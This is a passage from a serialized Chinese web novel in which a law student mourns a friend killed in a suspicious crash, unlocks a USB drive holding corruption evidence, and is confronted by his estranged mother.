有些真相可以心照不宣,却绝不能宣之于口。 特权阶级跟普通百姓自然不一样,即使联邦百姓对这事早已心知肚明,但一旦被摆到明面上,就会变成必须被严肃处理的事件。 即使这场案子胜诉,也会被媒体新闻扭曲成权贵干预司法的丑闻,那些网络看客更不会在乎判决是否公正,他们只会记得这不过是又一个特权阶级在操纵游戏。 贺衍眼神一凛,那个记者的袖口那里,有什么东西闪烁了一下。 贺衍不动声色地挤进记者群中。 他故意踩住那名记者的鞋跟,在对方踉跄的时候扶住他的手臂。 他佯装惊讶地啊了一声,用周围人都能听到的声音开口:“这位记者先生,你是哪家媒体的,真的是记者吗?” 贺衍随意瞎扯,但振振有词,令人信服:“您的胸牌媒体编号怎么还是旧版本?你难道不知道根据联邦今年新出的采访条规,这属于无效证件,无法进行采访。” 那些记者的注意力被转移了一瞬,趁这个瞬间,贺衍朝杭凌一使了个眼神,后者会意,迅速转身离开。 那名记者发现了杭凌一离开,正准备追上去继续,却被贺衍扣住了手腕。 不过眨眼间,走廊里早已不见杭凌一的身影。 男记者吃痛地嘶了一声,正准备臭骂,才发现手腕已经被松开了。 “实在抱歉,”贺衍故作慌乱松开了手,“我刚才还以为你又要摔倒了,才又扶了你一把。” 贺衍耸了耸肩,眉梢挑了下:“啊,你看我这脑子,我给记错了。联邦今年新出的规定不是采访条规,而是隐私权保护法。” 他从记者的袖子里拿出一个微型的摄像头,扯了下嘴角,笑着碾碎了。 贺衍眨了眨眼:“比如这种隐藏拍摄设备,没有经过被拍摄人允许,是犯法的。” 重新开庭后,判决结果毫无悬念。 法官用了不到半小时就宣布环保部门的处罚决定无效,新亚化学的营业执照得以恢复。 法庭外,化工厂的老板激动地握住杭凌一的手,而杭凌一只是礼貌地点头,目光却穿过人群寻找着什么。 当他的视线终于捕捉到贺衍时,浅金色的眸子里闪过一丝贺衍读不懂的情绪。 贺衍站在墙边,围巾围住了大半张脸,发梢还沾着未化的雪花。 他对着杭凌一挥了挥手。 杭凌一看着贺衍穿过人群向他走来,胸口突然泛起一阵陌生又熟悉的悸动。 贺衍眉眼含笑,他朝杭凌一扬了扬下巴:“顺利结案了。” 他围着围巾,只能看见他的眉眼,那是一双极好看的眼睛,里面映着自己的身影,星碎一般地闪耀着。 杭凌一的喉结滚动了一下,他本该责备贺衍的冲动,那个记者明显有问题,他刚才那样贸然插手太危险了。 可当贺衍站立在他面前,刚才所有准备好的说教都卡在了喉咙里。 “走吧。”杭凌一听见自己的声音比想象中的还要柔软,“我们回去。” 他下意识抬起手想要拂去贺衍肩上的雪,却忽然意识到自己在干什么,手在半空中停住,心脏里跳动的声音大得惊人,转而僵硬地指向停车场方向。 他急忙转身,生怕贺衍看见自己发烫的耳尖。 杭凌一放慢了脚步,和贺衍并肩走着。不知怎么的,他突然希望这条通往停车场的路,能再长一些。 再过几天,就是联邦新年。 贺衍本来打算跟杭凌一一起在这里过年,但偶然间却听到了杭凌一的电话。 他这才知道杭凌一留在台明市不走,不是因为案子还有一些手续没有解决,而是因为自己。 “这就走?”杭凌一追上他,雪花落在他的肩头。 贺衍耸耸肩:“案子赢了,后面也没什么事了。而且马上就要到过年了,我打算回去陪我爸。” 杭凌一欲言又止,最终只是说:“注意安全。” 贺衍的确回到了罗河县。 贺振刚前段时间给贺衍打电话,贺衍说他不回家,现在知道贺衍要回来,高兴得不知道成什么样了。 颓废的模样一扫而空,贺振刚匆匆忙忙地开始收拾屋子。 贺衍刚走上三楼,还没走到门前,就闻到了炖肉的香气。 他敲了敲门。 几乎是瞬间,门就打开了,肉香和暖烘烘的热气扑面而来。 贺振刚系着围裙从门后里探出头,脸上是掩不住的笑意:“臭小子,还知道回来?” 贺衍抿了下唇,他垂下眼睛,压下鼻尖的涩意,把行李往墙边一靠。 他抬起头的时候,神色已经恢复了正常:“不是你让我回来的?” 贺振刚笑骂,却还是走过来接过他脱下的外套,顺手掸了掸上面的雪。 “饭马上就做好了,别傻站在门口了,快去洗手。” 饭桌上摆的都是贺衍爱吃的菜。 贺振刚倒了杯白酒推给他:“喝点,暖和暖和身子,刚才你回来的时候,嘴唇都冻白了。” 贺衍没有拒绝。 但他只是抿了一口,酒几乎只沾到了他的唇瓣。 贺振刚一口又一口地喝酒,脸上的喜悦几乎快要溢出来,脸都被酒气熏得发红,絮絮叨叨地说着一堆事,工友的儿子结婚了,街口的那家小卖部老板生了个宝贝闺女…… 贺衍大多时候只是听着,偶尔嗯一声。 不知是有意还是无意,两人都没有提起离世的那个人。 跨年的那晚,贺振刚往贺衍口袋里塞了个红包:“压岁钱,保佑我儿子平平安安。” 贺衍愣了一下,他捏着红包,喉咙突然发紧。 以往过年,他能收到两个红包。 二十多天后,一月中旬,贺衍收拾行李准备提前返校。 飞机降落在铜海机场,手机信号刚一恢复,推送通知就开始疯狂弹出。 贺衍漫不经心地划开屏幕,却在看到头条新闻时僵在原地—— [突发:贺氏集团董事长贺忠载于今晨突发心梗去世] 贺衍骤然僵住。 他死死盯着那行字,手指无意识地收紧,手背上凸起青筋。 机场嘈杂的人声仿佛一瞬间远去,只剩下血液在太阳穴突突跳动的声音。 贺忠载……死了?!! 手机屏幕因为长时间未操作而暗了下去,贺衍却仍保持着握紧的姿势。 “小哥,别站那里挡道了。” 不耐烦的催促声从身后传来。 贺衍才猛地回过神,他收回手机,拎起行李向外走。 离开航站楼的瞬间,冷风扑面而来。 贺衍下意识地眯了下眼。 鄢忬就站在出口处,墨绿色的眸子静静地望着他,仿佛早已等候多时。 第96章 第 96 章 车祸 第96章 贺衍神色平静, 相比之前,他的情绪已经平复了很多。 “我们已经冷战三个多月了,阿衍。” 贺衍挑眉:“我不觉得我们是在冷战。” 鄢忬的眉心轻蹙:“阿衍, 我们不能回到过去吗?” “你所说的过去, 是奶奶去世之前,还是那个混乱的暑假。” 脱口而出的瞬间, 贺衍心脏收紧了一瞬,他抿了下唇,不再说话。 鄢忬的眼睛黯然,他没有再继续刚才的话题,而是直言道:“贺忠载死了。” 贺衍点头:“嗯, 我刚才看到消息了。” 鄢忬轻叹, 那双墨绿色的眼眸静静地落在贺衍的身上。 “贺家的水太深了。阿衍, 如果你不想再被牵扯进去,就不要答应贺家人的任何要求,更不要继承贺家。” 贺衍扯了扯嘴角, 他避开了鄢忬的视线。 “叔叔,你的消息网是不是太落后了。贺家的继承人是贺琚, 跟我这个‘死人’又有什么关系。” 贺衍拉起行李,在经过鄢忬时, 低声说道:“不过, 多谢您的忠告。” “阿衍, 贺琚是森铭学的孩子, 他不会继承贺家。” 贺衍的脚步顿住,瞳孔猛地收缩。 森铭学,鄢忬知道这件事?! 航站楼前人来人往,两个高挑俊朗的男人仅仅是站在交谈那里交谈, 就吸引了不少人的目光。 一个西装革履的男人偷偷拿起手机,刚拍了一张照片。 眼前就出现了一个穿着普通很不起眼的壮汉:“不要私自拍摄,把刚才拍的照片删掉。” 男人上下打量了几眼,态度倨傲看着他:“我是娱乐公司的星探,我们公司可是铜海最好的娱乐公司。能看上他们是他们的幸运。只要我出手——” 壮汉扭住他的手腕,删掉了他的照片。 鄢忬偏头看了眼骚动处:“这里不太适合谈事。” 铜海工业大学开学的时间比铜海大学早上几天。 黄星俊拉着行李走出来,忽然看到熟悉的身影,眼前一亮。 “贺衍,好巧啊——”黄弘资眼睛瞪大,我靠,这不是去年暑假见过的那个。 他对这个老钱印象可太深刻了,一眼就认出了这是谁。 鄢忬朝声音的方向看过去,黄星俊不自在地往贺衍那边靠了靠。 鄢忬出声:“你是要去学校?” 黄星俊拘谨地点头:“对,我是贺衍隔壁的,在铜海工业大学上学。” “我送你们去学校。” 鄢忬自然地把贺衍的行李拉了过来 他带着路,随后停在了一辆车旁,打开了后备厢的大门,把贺衍的行李放了进去。 卧槽,这是车得大几百万啊。黄星俊可不敢让他放,立刻把自己的行李也塞到了车里。 黄星俊坐上车后大话也不敢说一声,他咽了下唾沫,这是他人生中第一次坐这么贵的车。 黄星俊拿出手机,疯狂给贺衍打字,紧张得脸上发红,连雀斑都变深了不少。 [贺衍,他是什么身份啊,我要说什么啊,不会说错话……] 黄星俊还没打完字,就听到前排传来一声低沉的声音:“阿衍,上次走得急,你还没跟我介绍过你这位朋友。” “黄星俊,我高中同学。” “黄同学,你能讲讲你和阿衍高中时候的事情吗?” 鄢忬的声音并不严厉,但是黄星俊却像是被老师点名一样紧张,手指在手机屏幕上无意识地划了两下。 “啊,高中时候啊——”黄星俊干笑两声,努力回忆,“贺衍那时候成绩特别好,老师都特别喜欢他。而且学习好是一方面,另一方面他长得那么帅,每年收到了情书能堆成小山。” 鄢忬握着方向盘的手微微用力:“他高中有跟别人交往吗?” 黄星俊心底嘀咕,就算是长辈,但是问这个问题也太奇怪了吧。 黄星俊偷偷瞥了眼贺衍,见他神色淡淡,便硬着头皮继续说:“没有吧。贺衍那时候对谁都爱答不理的。” 鄢忬透过后视镜看了贺衍一眼,唇角微不可察地弯了弯:“是吗?他小时候可不是这样的。” 贺衍皱眉,冷冷打断:“过去的事没必要提。” 车内的气氛瞬间凝滞。 黄星俊缩了缩脖子,感觉自己好像踩到了什么雷区。他赶紧转移话题:“那个鄢先生,您和贺衍是亲戚?” 鄢忬的手指在方向盘上轻轻敲了两下,声音平静:“算是吧。” 黄星俊哦了一声,不敢再多问。 他低头继续疯狂给贺衍发消息:[救命救命!他气场太强了!我快窒息了!] 贺衍扫了眼手机,手指在屏幕上滑动了几下。 [没事,别理他,不想说话就不用说。] 黄星俊依旧如坐针毡,恨不得立刻跳车。 他偷偷瞄了眼贺衍的侧脸,发现他的下颌线绷得极紧,显然心情极差。 这俩人……到底什么情况啊? 虽然他不想胡乱猜测,但那个鄢忬对贺衍的态度也太暧昧了吧。 车子终于驶入铜海工业大学的校门,黄星俊如释重负地松了口气:“那个,我就在这里下吧,谢谢鄢先生!” 他手忙脚乱地拖着行李下车,临走前还不忘给贺衍使眼色:[兄弟保重!] 车内只剩下两人,空气仿佛都变得稀薄。 贺衍盯着窗外飞速后退的景色,忽然开口:“你为什么知道这件事。” 鄢忬的手指轻轻敲击方向盘:“去家里聊。” 贺衍抿唇,并没有拒绝。 汽车开进了铜海大学的家属院。 车停下了。 车内形成了一个密闭的空间,只剩下空调运转的细微声响。 车窗外,几个小孩蹦蹦跳跳地经过,欢笑声隐约传来,与车内凝重的气氛形成鲜明对比。 贺衍跟在鄢忬后面,走进了熟悉的楼道。 鄢忬推开了门,玄关的鞋柜上。 专属于贺衍的拖鞋还放在那里,他拿起拖鞋,放到了贺衍脚下。 “阿衍,进来吧。” 客厅的落地窗没关,纱帘被风吹得轻轻飘动。 他已经有好几个月没有再踏入这里了。 一些他以为早就忘掉的记忆却像潮水般涌来,淋浴间氤氲的水汽里交叠的身影,书房地毯上散落的文件,甚至是玄关的穿衣镜前…… 贺衍喉结滚动了一瞬,他张开嘴,声音干涩:“不用了。你站在玄关说完,我就走。” 但鄢忬已经俯身解开他的鞋带,骨节分明的手指擦过他的脚踝,激起一阵细微的战栗。 “你在干什么?”贺衍愣了一下,他猛地后退,后背撞在门框上,发出一声闷响。 “阿衍,你出汗了。” 鄢忬抬眸看他,墨绿色的眼中暗流涌动,仿佛把贺衍包裹在内。 对视的一瞬间,贺衍甚至有些无法呼吸。 他有些后悔跟着鄢忬上来了。 贺衍坐在沙发上,眼不见心不烦,根本不看鄢忬。 “要喝水吗?”鄢忬低头,没让贺衍看见他扬起的唇角。 低沉的嗓音擦过耳畔:“阿衍,给。” “在想什么?”鄢忬突然问,拇指擦过他发烫的耳垂。 贺衍猛地惊醒,水杯不知何时被塞进了他的手里。 “够了。”他放下杯子,玻璃杯和茶几碰触,发出清脆的响声。 贺衍深吸了一口气:“如果你没有什么要说的——” 话音戛然而止,贺衍的视线不受控制地飘向沙发一侧,去年他被鄢忬按在那上面,沙发的皮质扶手上隐约还能看见他当时抓出的指痕。 鄢忬顺着他的视线望去,忽然轻笑一声:“阿衍,你当初还说过,沙发有些——” 贺衍被他声音气到了,立刻说道:“闭嘴!别说那些无关紧要的事了。” 鄢忬不仅没有生气,反而勾了下唇角,不能再逗了。 他的语气严肃了起来,刚才暧昧的气氛也随之消散。 “你应该想知道为什么,我会知道贺琚是森铭学的孩子吧。” 贺衍听到他的话,眸色沉了下来,抬眸看向了他。 “贺琚的母亲林娴救过我母亲。”鄢忬的声音低沉,“那时候我母亲因为无法忍受父亲一次又一次地出轨,准备跳桥自杀。是林娴发现了她,把她从河里救了上来。” 贺衍的眉头微不可察地皱了一下,但很快又恢复平静。 “但我母亲依旧没有求生的欲望。”鄢忬继续道,“是林娴在她身边开导她,才让她彻底走出来。后来母亲选择离婚,也离开了姆扎州,搬到了奈杜州在那里安家。” “林娴是森铭学的妻子,”鄢忬转头看向贺衍,“但她从来没有在我母亲面前表明过这个身份。” 贺衍的手指无意识地摩挲着衣角,他微微垂眸:“所以呢?” “后来母亲知道林娴难产去世,才知道这件事。” 鄢忬的目光落在贺衍的侧脸上。 “我也是近些年才知道林阿姨的孩子并没有去世。”鄢忬轻声道,墨绿色的眼眸中闪过一丝复杂的情绪。 贺衍的指尖在膝盖上轻轻敲击。 啊,原来是这样。 他面上不显,只是淡淡地嗯了一声,眼底却闪过一丝嘲意。 所以,当初鄢忬出现在自己的生日宴上,也是因为他那时候终于找到了林娴的孩子,他是为了来看贺琚。 然后意外遇到了自己。 室内陷入短暂的沉默。 贺衍突然开口:“我知道你想说什么,你认为自己欠贺琚人情,对吧。” 鄢忬敏锐地捕捉到他话中的讽刺:“阿衍——” 贺衍打断他:“所以如果贺琚出事了,你会帮他。对吗?” 鄢忬微微敛眸,眼底闪过一丝疑惑,他有点没明白阿衍的意思。 怎么会扯到这里。 俞孟辉很喜欢贺琚,当初与贺家的生意也是他一手促成。但他并没有和贺琚有过直接接触,当初俞杉风投和贺氏集团谈合作,也是俞孟辉在和他商榷。 最终,鄢忬眨了眨眼,他斟酌措辞,只是说道:“在我力所能及的范围内,我会帮他。” 贺衍嗤笑了一声。 没什么好听的了,他也没兴趣再听鄢忬讲他跟贺琚的渊源。 鄢忬忽然出声:“阿衍,我说这些只是想告诉你。现在贺忠载去世,贺家内部的势力一定会被重新洗牌。贺家近些年得罪的人不在少数,继承贺家有害而无一利。森铭学好不容易失来复得找到贺琚,他是不会让贺琚去冒这个险的。” “逐利者如豺狼,即使你明面上已经‘死亡’,也不在意贺家的那些财产,他们不会放过任何可能性。” “但只要你不离开姆扎州,那些人不可能把你带走。” 贺衍说不清楚自己现在是什么心情:“所以呢?我应该谢谢你给了我一个安身之处吗?” “阿衍,我不是在命令你。”鄢忬语气平淡:“森铭学不如我。就算你想继承贺家,我也能护住你。” 贺衍胸腔里像是被塞进了一团湿布,呼吸有些不畅。 他忍不住发笑:“叔叔,你有没有想过,我其实并不愿意被你护在身下。” 气氛又变得沉默。 贺衍身体轻微动了一下,就在他起身准备离开的时候。 鄢忬再次出声了:“台明市前些天发生了一起暴乱,死了一个人。” “谁?” “新亚化学的厂长程纬新。” 贺衍抿唇,他点了点头:“我知道了,多谢。” 鄢忬没有再拦他。 贺衍拉着行李箱推开宿舍大门。 黄弘资后天才到学校,现在宿舍里就只有贺衍一个人。 他打开电脑,在搜索栏里搜索相关的信息。 贺衍眉头蹙紧,他输入了十几个相关词条,但没有任何关于新亚化学的消息,也没有任何关于程纬新的消息,就像这个人从未存在过一样。 贺衍拨通了杭凌一的号码。 电话响了很久才被接通,背景音很嘈杂,像是机场广播的声音。 “打电话有事吗?”杭凌一的声音比往常更加沙哑。 贺衍直接道:“新亚化学的厂长死了,是真的吗?” “别查了,这件事本来跟你就没关系。” 杭凌一没有否认,贺衍的胸口突然一阵发闷。 贺衍扯了扯嘴角,他还记得打赢官司的时候,程纬脸上瞬间出现的笑容,满是重获新生的喜悦。 但现在,这个人无声无息地消失了,连一点痕迹都没有留下。 “你知道具体是发生了什么吗?” 电话那头,杭凌一的声音压得很低:“我也不清楚,但他的家属目前已经全部搬离了亚纽州,连孩子都转学了。” 贺衍的手指顿住了。 杭凌一似乎在走动,背景噪声逐渐变小,应该是找了个僻静处。 “飞机要起飞了,先挂了。等三月份的时候,我会回铜海一趟,到时候再见面。” 贺衍很熟悉他这种语气了,去年他不让自己去台明市的时候,就是这种语气。 电话突然挂断,留下贺衍站在原地,耳边回荡着忙音。 铜海大学如期开学。 这个学期没有鄢忬的课,贺衍不用再去法院实习,他的身体也已经基本痊愈。 贺衍的生活比以前任何时候都要平静。 就在贺衍几乎快要忘掉那些纷扰的时候。 二月下旬,贺衍的忽然收到了一条取件提醒。 但他最近并没有买任何东西。 贺衍去快递站取回包裹,是一个巴掌大的快递盒,寄件人一栏空白。 贺衍把盒子拆开,里面只有一个纯黑色的U盘,表面没有任何标识。 这种来历不明的东西,理智告诉他应该立即销毁,说不定是什么新型诈骗手段,插进电脑就会自动锁死系统,然后弹出勒索界面。 但因为某种莫名的直觉,最终,贺衍只是拉开书桌最底层的抽屉,把U盘连带盒子都放了进去。 二月即将过去,贺衍看了眼日历,几天后就是杭凌一的生日。 昨天两人打了电话,杭凌一大概会在自己生日前来铜海。 但从早上开始,贺衍的眼皮就一直开始跳,连带着他今天干什么事都有些心烦。 直到傍晚,贺衍的手机忽然响起。 是一个陌生的号码,归属地是奎尔丹尼州。 难道是杭凌一的新号码,最近这些天,杭凌一经常换电话。 贺衍接通。 但听筒里传来的并不是杭凌一的声音,而是一个女声。 贺衍眉头蹙起。 “这里是卢图市第一医院。”女声暂停了一瞬,隐约传来书页翻动的沙沙声,“请问您认识杭凌一先生吗?” 卢图是奎尔丹尼州的一个小市,杭凌一就在那里。 贺衍的心跳突然加速:“认识,怎么了?” “很遗憾通知您,杭凌一先生于今日凌晨在奎尔丹尼州发生车祸,经抢救无效去世。他的紧急联系人中留了您的号码……” 后面的话贺衍已经听不清了。 贺衍耳边嗡嗡作响,手机从指间滑落,砸在地上发出砰的一声。 或许只是同名同姓罢了,也有可能是杭凌一的手机被别人偷走了,出车祸的那个人不一定就是杭凌一。 他机械地弯腰捡起,发现通话还在继续。 “……遗体目前放在我们医院,如果您需要……” “地址。”贺衍控制着声音的颤意,眼眶却已经红了一圈,“给我具体地址。” 手机听筒里忽然传来嘈杂凌乱的脚步声和窃窃私语。 “抱歉,刚才我的同事告诉我,死者家属已经前来认领尸体了。” 电话被挂断了。 第97章 第 97 章 马上就要到淮新了…… 第97章 贺衍再次拨打电话, 几次都是被占线的盲音。 十分钟后,对面终于接通了,接电话的和刚才的不是一个人。 “您好, 这里是卢图市第一医院热线中心, 请问您有什么需要帮助的吗?” 贺衍喉咙发堵,从指尖开始发麻, 逐渐蔓延到整个手臂。 “杭凌一,刚才,他现在在哪里?”贺衍说出来的话有些颠三倒四,但好在对面的人很快就理解了他的意思。 “抱歉,我看到刚才系统上的聊天记录了。您是杭凌一先生的朋友, 对吧。是这样的先生, 他的尸体在几个小时前已经被他的母亲接走了。但是因为医院系统没有及时更新, 所以才会给您打电话。” 医院的工作人员说完后,发现对面迟迟没有出声,只好继续说道:“您可以跟杭凌一的家人了解情况, 其他的事情我们也不清楚。如果您没有其他问题,就可以结束——” “车祸发生的原因是什么, 具体位置在哪里?” “稍等,我查一下记录。” 话筒里传来键盘敲击的声音, 大概过了十几秒, 对面出声了。 “是根据救护车出勤记录, 目的地是卢图市中央大街中段, 枫林酒店附近。至于车祸原因,医院方面也不清楚,您可以打电话向卢图市警察局询问。” 贺衍声音干涩:“谢谢。” 杭凌一在奎尔丹尼州的这些天都住在枫林酒店,也就是说, 车祸发生在他离开酒店之后。 贺衍挂断电话,手指不受控制地轻颤着。他深吸一口气,拨通了卢图市警局的电话。 电话很快被接起,“卢图市交警大队,请问有什么可以帮您?” “我想了解今天发生在中央大街的车祸。死者杭凌一,是我的朋友。” 电话那头传来纸张翻动的声音,片刻后,对方回答:“事故发生在今日凌晨两点十六分,一辆黑色轿车与一辆货车在中央大街中段发生碰撞。根据现场勘查结果,两车相撞后油箱破裂,随即引发了大火。” “能确定是意外吗?” “虽然死者的行车记录仪出了故障,但根据货车上的影像记录,初步判断是货车司机醉酒驾驶导致的意外。” 贺衍沉默片刻,低声道:“谢谢。” 不可能是巧合。 贺衍的手指无意识地敲击着桌面,思绪飞速运转。 凌晨两点,杭凌一为什么要从酒店里出来,故障的行车记录仪,不符合常理的醉酒货车司机。 他猛地站起身,快步走向书桌,拉开最底层的抽屉。 那枚黑色的U盘依然静静地躺在快递盒里。 贺衍盯着它看了几秒,忽然意识到什么。 杭凌一曾经提到过,他去奎尔丹尼州,是因为查到了什么。 但杭凌一当初不肯告诉自己到底查到了什么线索。他当时虽然有些生气但当时贺衍并没有太在意。现在想来,杭凌一或许查到了什么不该查的东西。 联邦大法官的儿子都忌惮的证据—— 他拿起U盘,插入电脑前犹豫了一瞬。 如果自己想错了,这里面不是什么重要证据,而是一个装载病毒的U盘。 贺衍把电脑里的重要文件备份了一遍。 U盘插在接口处,屏幕上弹出了密码输入框。 贺衍死死盯着屏幕上弹出的窗口,额角的青筋暴起,整个人都颤抖了起来。 这里面真有什么重要证据,那么杭凌一的死就绝不是意外。 贺衍的手指悬在键盘上方,却迟迟没有落下。屏幕的冷光映在他苍白的脸上,将他的瞳孔映得一片惨白。 六位数的密码,三次机会。 输错,数据就会彻底销毁。 贺衍深吸一口气,输入了杭凌一的生日。 错误,剩余尝试次数2/3。 他又输入了收到U盘的日期。 错误,剩余尝试次数1/3。 只剩最后一次机会。 贺衍呼吸变得急促,悬在键盘上方的手指开始颤抖。 黑色U盘依然插在接口处,屏幕上那个密码输入框仿佛在无声地挑衅。 再想一想,不可能没有提示,杭凌一一定给自己提示了。 贺衍闭上眼睛,额头鼻尖冒出了汗。 是他昨天说要来铜海的日期。 不,不对,这个时间他只在昨天的电话里提了一次,不会是这个。 贺衍突然睁开了眼睛。 从收到那个U盘开始,杭凌一每次打电话,都会提到铜海中级法院附近的那家咖啡店。 从去年三月份在这里偶遇自己,到后来开始点评这家咖啡的品质,又说道里面最好喝的味道是什么。 贺衍记得那时候自己还在嘲笑杭凌一,说只有老人才会回忆过去。 毕竟那家店在去年年末,就因为经营不善倒闭了。 只剩最后一次机会了。 贺衍手指颤抖着,输入了咖啡店的坐标。 屏幕闪烁了一下,文件夹缓缓展开。 里面只有几份扫描文档。 贺衍点开那些扫描文件。大部分是银行转账记录,巨额资金从几个空壳公司流向一些政府官员账户。 最后一份文件让贺衍的血液瞬间凝固,那是一份标有“绝密”的备忘录,上面详细记录了如何通过关闭工厂制造就业危机…… 备忘录末尾的签名赫然是:罗彰勋。 罗彰勋是裴行赫的秘书兼竞选经理,现在是联邦的经济部部长。 贺衍颤抖着关上文件。 但他的呼吸却越来越急,胸口像是被一只无形的手狠狠攥住。耳畔心跳轰鸣,指尖发麻,像被无数细针穿刺。 视野边缘也泛起了黑斑。 呼吸太快了。 贺衍找到了一个袋子,但他的手太颤太僵硬,几乎抓不住那皱巴巴的袋子。 袋壁随着急促的呼吸塌陷又鼓起,眩晕感减轻,指尖的刺痛也缓缓消散。 他的额头无力地抵着桌面,贺衍的呼吸终于慢了下来。 他的视线虚无地盯着一个点,眸光却涣散了起来。 他想起最后一次见面时,杭凌一站在雪中为他送行,雪花落在他的肩头,淡金色的眸子在阳光下闪闪发亮。 可这个画面永远定格在记忆中,再也不会更新了。 如果他当时收到U盘的时候,给杭凌一打个电话问一句,如果他早点发现这枚U盘的秘密…… 会不会杭凌一就不会死? 贺衍缓缓闭上了眼,下定了决心。 黄弘资走进星河湾一号楼,拐弯的时候又偷偷瞥了眼站在门外等待的贵妇人。 看着很年轻,感觉才三十多岁,居然是贺衍的母亲吗?! 但贺衍不是和自己一样都是略阿洲的,但那位贵妇人一听口音就知道是首都那边。 黄弘资一脸疑惑,但丝毫没有怀疑那位贵妇人说话的真实性。 因为她和贺衍的眉眼真的太像了,如果贺衍的轮廓再柔化一点,就和那位夫人的一模一样了。 黄弘资推开门,脑海中瞬间闪现一个念头。 对了,他怎么把贺琚给忘了。 一个小故事瞬间形成,他知道是怎么回事了,大概就是贺衍的母亲在贺衍很小的时候就改嫁给了贺琚的父亲,所以贺琚和贺衍就是继兄继弟的关系。 所以贺衍和贺琚的关系才会不好。 黄弘资推门进来的时候,贺衍正准备给鄢忬打电话。 “贺衍,你妈妈在宿舍门口等你。” 贺衍眉梢蹙起:“抱歉,我没太明白,你能再说一遍吗?” 黄弘资听到贺衍略显沙哑的声音,才发现他的脸色白到离谱。 “卧槽,贺衍,你没生病吧,怎么脸这么白。” 看到贺衍摇头,黄弘资才继续说道:“就是你妈妈啊,跟你长得特别像,她现在在宿舍外面等你,好像是有急事要跟你说,但具体是什么我也不太清楚。” 贺衍眸色晦暗,他收起手机,走了出去。 一周前。 贺氏集团顶层的会议室里,空气凝固得几乎连呼吸都是错误。 何眷蓉看着投影幕布上不断跳动的股价走势图,那根代表贺氏集团的红线像断崖般垂直下跌。 她的指甲掐进掌心,焦灼感刺痛着心脏。 “何董,隆鑫资本刚刚抛售了手里全部股份。”财务总监的声音有些发虚,“现在市场上流通股已经超过正常水平,如果继续这样下去……” “够了。”何眷蓉抬手打断,她转向坐在长桌另一端的儿子,“贺琚,你真的考虑清楚了吗?” 贺琚支着下巴,目光落在窗外淮新的天际线上,唇角微微扬起。 阳光透过落地窗洒在他那张近乎完美的侧脸上他转过头,嘴角挂着惯常的微笑:“抱歉,妈妈,我说过了,我对这个不感兴趣。贺家这艘船已经漏水太久了,与其跟着它一起沉没,不如早点找好救生艇。” “贺家养了你这么年!”何眷蓉猛地拍桌而起,“贺琚,你现在说这种话,是想把贺家的一切都拱手让给别人吗!” 何眷蓉意识到自己的语气太过,她深吸了一口气,扯起一抹笑容:“小琚,你再好好想想。” 贺琚的唇角扬起的弧度丝毫未变,他慢条斯理地起身,对着何眷蓉点了点头:“我下午还要拍戏,就先走了。” “对了,”走到门口时,贺琚突然回头,“我之后都比较忙,可能没空参加董事会了。你们……随意。” 何眷蓉的脸色瞬间煞白,如果不是因为她不能继承贺家,她怎么会这么低三下四地求贺琚。 贺忠载本身还有百分之四十的股份,他去世之后,公司股份的归属一直处在争论之中。 如果不是自己的孩子继承贺家,那根据贺忠载很早之前就立下的遗嘱。 她现在拥有的一切都会消失。 大门再次被关上了。 何眷蓉发疯了一样把桌子上的东西全部推到了地上。 会议室内一片死寂。 贺家主宅。 何眷蓉坐在梳妆镜前。 她凑近镜子,看着自己忽然长出的皱纹,大声尖叫了一声。 卧室的房门被轻轻叩响。 管家常佳小心翼翼地探头:“夫人,方夫人来访,说是……特意来看望您。” 何眷蓉闭了闭眼。看望?怕是来看笑话的吧。自从前年开始,方家就开始跟贺家不合,现在贺家大厦将倾,对方怎么可能错过这个落井下石的机会。 “请她到会客室。”她强撑着站起身,整理了一下衣襟 会客室里,多琳·邓肯正优雅地品着红茶。 见到何眷蓉进来,她放下茶杯,脸上露出恰到好处的同情:“何姐姐,听说最近贺氏不太顺利?” 何眷蓉扯出一个笑容:“商场有起伏很正常。” “是啊,”方夫人叹了口气,“毕竟贺总走得太突然了。” 她意有所指地顿了顿,“贺琚那孩子,还是不愿意接手?” 何眷蓉的手指无意识地摩挲着茶杯边缘,姿态优雅地轻抿了口茶:“是啊,你也知道小琚那孩子玩心大,他年纪还小,还想在娱乐圈里多玩一段时间。” 多琳·邓肯金黄色的发丝在灯光下闪烁着蜂蜜般的光泽,看起来年轻又漂亮。 何眷蓉借着喝茶的动作,遮住了嘴角的冷意。 多琳·邓肯摇摇头,语气中带着刻意的怜悯:“唉,养大的儿子不愿意收拾烂摊子,亲儿子又意外死了。” “真是可怜的孩子,在亚纽州那种穷乡僻壤生活了十几年,来你们家不到半年就死了。” 何眷蓉的瞳孔骤然收缩,她强压下心底的震惊:“什么亚纽州?” 她自然知道对外界宣称的贺衍去世是假的,但贺衍消失就消失了,何眷蓉对这个儿子也没有太在乎。 但现在的情况跟以前完全不一样了。 …… 三天后,何眷蓉站在铜海市一栋现代化办公楼前。 毕云吉工作室的logo在阳光下闪闪发光,这位新锐设计师如今已是上流社会的宠儿。 “贺夫人,久仰。” 毕云吉亲自到前台迎接,脸上带着职业性的微笑,他的身材依旧消瘦,但和之前整个人已经脱胎换骨,曾经青涩局促的神情也被从容自信取代。 “贺夫人,久仰大名。”毕云吉微微欠身,姿态恭敬却不卑微,“没想到您会亲自来访。不知有什么能为您效劳?” 大门关上后,何眷蓉直接切入主题:“毕设计师,我儿子贺衍,你还记得他吗?” 毕云吉的笑容几不可察的僵了一瞬,他已经很久没有和贺衍见过面了。他知道贺衍的身份可能不简单,但眼前这位夫人可是贺氏集团的女主人。 他紧接着很自然地摇了摇:“嗯,抱歉,我没有听过这个名字。” “别装了。”何眷蓉的声音突然哽咽,“我知道他还活着。我是他母亲,为什么……为什么不让我见他?” 她的眼泪恰到好处地滑落,将一个思念儿子的母亲演绎得淋漓尽致。 毕云吉明显动摇了。 他犹豫了很久,最终叹了口气:“贺夫人,我答应过贺衍不会透露他的行踪。他现在在哪里,我的确也不清楚。但当年他无意间透露过,他要考法学专业,其他的我并不清楚。” 何眷蓉的眼泪瞬间止住。 离开工作室后,何眷蓉立刻拨通了一个电话:“贺叁,查查铜海所有大学在校生的资料,重点排查法律系,这件事不要让其他人知道。” 星河湾宿舍一号楼大门口。 今天是工作日,但傍晚六时点左右,正是学生下课的高峰期。 贺衍刚一走出大门,就听到了自己的名字。 几乎是瞬间,就有无数双眼睛落到了他的身上。 他抬头,对上了一双与自己有七分相似的眼睛。何眷蓉就站在那里,精心保养的脸上带着说不出的激动和开心,眼角溢出了泪花。 “儿子,能和妈妈谈一谈吗。”她恳求地说道。 何眷蓉这话一出,落在贺衍身上的目光就更多了。 贺衍眸色晦暗,他面无表情地看着眼前这个自称是他母亲的女人。 